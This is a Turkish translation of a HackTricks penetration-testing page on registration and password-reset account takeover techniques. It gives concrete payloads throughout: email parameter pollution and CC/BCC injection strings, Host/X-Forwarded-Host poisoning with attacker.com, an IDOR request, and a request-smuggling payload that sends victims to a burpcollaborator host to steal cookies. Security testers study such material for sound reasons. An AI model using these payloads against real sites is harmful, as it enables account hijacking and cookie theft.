hacktricks/pentesting-web/registration-vulnerabilities.md

11 KiB
Raw Blame History

Kayıt ve Ele Geçirme Güvenlik Açıklıkları

AWS hacklemeyi sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

WhiteIntel

WhiteIntel, dark web destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}


Kayıt Ele Geçirme

Çift Kayıt

  • Var olan bir kullanıcı adı kullanarak oluşturmayı deneyin
  • E-postayı değiştirerek kontrol edin:
  • büyük harf
  • +1@
  • e-postada nokta ekleyin
  • e-posta adında özel karakterler (%00, %09, %20)
  • E-postadan sonra siyah karakterler ekleyin: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Kullanıcı Adı Sıralaması

Bir kullanıcı adının uygulama içinde zaten kaydedilip kaydedilmediğini anlamaya çalışın.

Şifre Politikası

Kullanıcı oluştururken şifre politikasını kontrol edin (zayıf şifreler kullanıp kullanamayacağınızı kontrol edin).
Bu durumda kimlik bilgilerini brute force deneyebilirsiniz.

SQL Enjeksiyonu

Bu sayfayı kontrol edin ve kayıt formlarında SQL Enjeksiyonları aracılığıyla hesap ele geçirmeyi veya bilgi çıkarmayı denemeyi öğrenin.

Oauth Ele Geçirmeleri

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML Güvenlik Açıklıkları

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

E-posta Değiştirme

Kayıt olduktan sonra e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulandığını veya rastgele e-postalara değiştirilebileceğini kontrol edin.

Daha Fazla Kontrol

  • Tek kullanımlık e-postaları kullanıp kullanamayacağınızı kontrol edin
  • Uzun şifre (>200) DoS'a neden olur
  • Hesap oluşturma üzerindeki hız sınırlarını kontrol edin
  • username@burp_collab.net kullanın ve geri çağrıyı analiz edin

Şifre Sıfırlama Ele Geçirmeleri

Referans Aracılığıyla Şifre Sıfırlama Jetonu Sızıntısı

  1. E-posta adresinize şifre sıfırlama isteği gönderin
  2. Şifre sıfırlama bağlantısına tıklayın
  3. Şifreyi değiştirmeyin
  4. Herhangi bir 3. taraf web sitesine tıklayın (örneğin: Facebook, twitter)
  5. Burp Suite proxy'de isteği onaylayın
  6. Referer başlığının şifre sıfırlama jetonunu sızdırıp sızdırmadığını kontrol edin.

Şifre Sıfırlama Zehirlenmesi

  1. Burp Suite'de şifre sıfırlama isteğini onaylayın
  2. Burp Suite'de aşağıdaki başlıkları ekleyin veya düzenleyin: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Değiştirilmiş başlıkla isteği yönlendirin
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. host başlığına dayalı bir şifre sıfırlama URL'si arayın: https://attacker.com/reset-password.php?token=TOKEN

E-posta Parametresi Aracılığıyla Şifre Sıfırlama

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

API Parametrelerinde IDOR

  1. Saldırgan kendi hesabıyla giriş yapmalı ve Şifre Değiştir özelliğine gitmelidir.
  2. Burp Suite'u başlatın ve isteği Intercept edin.
  3. İsteği tekrarlayıcı sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı Kimliği/e-posta
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Zayıf Şifre Sıfırlama Jetonu

Şifre sıfırlama jetonu her seferinde rastgele oluşturulmalı ve benzersiz olmalıdır.
Jetonun süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda oluşturma algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.

  • Zaman Damgası
  • Kullanıcı Kimliği
  • Kullanıcının E-postası
  • Ad ve Soyad
  • Doğum Tarihi
  • Kriptografi
  • Yalnızca Sayı
  • Küçük jeton dizisi (karakterler arasında [A-Z,a-z,0-9])
  • Jeton yeniden kullanımı
  • Jetonun son kullanma tarihi

Şifre Sıfırlama Jetonunun Sızdırılması

  1. Belirli bir e-posta için API/UI kullanarak şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
  2. Sunucu yanıtını inceleyin ve resetToken için kontrol edin
  3. Ardından, jetonu aşağıdaki gibi bir URL'de kullanın: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Kullanıcı Adı Çakışması Yoluyla Şifre Sıfırlama

  1. Kurbanın kullanıcı adıyla aynı olan ancak kullanıcı adının önüne ve/veya arkasına boşluklar eklenmiş bir kullanıcı adıyla sistemde kayıt olun, örneğin: "admin "
  2. Zararlı kullanıcı adınızla bir şifre sıfırlama isteği isteyin.
  3. E-postanıza gönderilen jetonu kullanın ve kurbanın şifresini sıfırlayın.
  4. Yeni şifre ile kurban hesabına bağlanın.

Platform CTFd bu saldırıya karşı savunmasızdı.
Bkz: CVE-2020-7245

XSS Aracılığıyla Hesap Ele Geçirme

  1. Uygulama içinde veya çerezlerin üst alan etki alanına (*.domain.com) kapsandığı bir alt alan içinde XSS bulun.
  2. Mevcut oturum çerezini sızdırın
  3. Çerez kullanarak kullanıcı olarak kimlik doğrulayın

HTTP İstek Kaçırma Aracılığıyla Hesap Ele Geçirme

1. Türde HTTP İstek Kaçırma (CL, TE, CL.TE) tespit etmek için smuggler'ı kullanın
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. POST / HTTP/1.1'i aşağıdaki verilerle üzerine yazacak bir istek oluşturun:
GET http://something.burpcollaborator.net HTTP/1.1 X: hedef, kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmaktır
3. Son istek aşağıdaki gibi olabilir

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hesap Ele Geçirme CSRF Aracılığıyla

  1. CSRF için bir payload oluşturun, örn: "Şifre değişikliği için otomatik gönderimli HTML formu"
  2. Payload'u gönderin

JWT Aracılığıyla Hesap Ele Geçirme

JSON Web Token, bir kullanıcıyı doğrulamak için kullanılabilir.

  • JWT'yi başka bir Kullanıcı Kimliği / E-posta ile düzenleyin
  • Zayıf JWT imzasını kontrol edin

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Referanslar

WhiteIntel

WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevsellikler sunar.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}

Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları: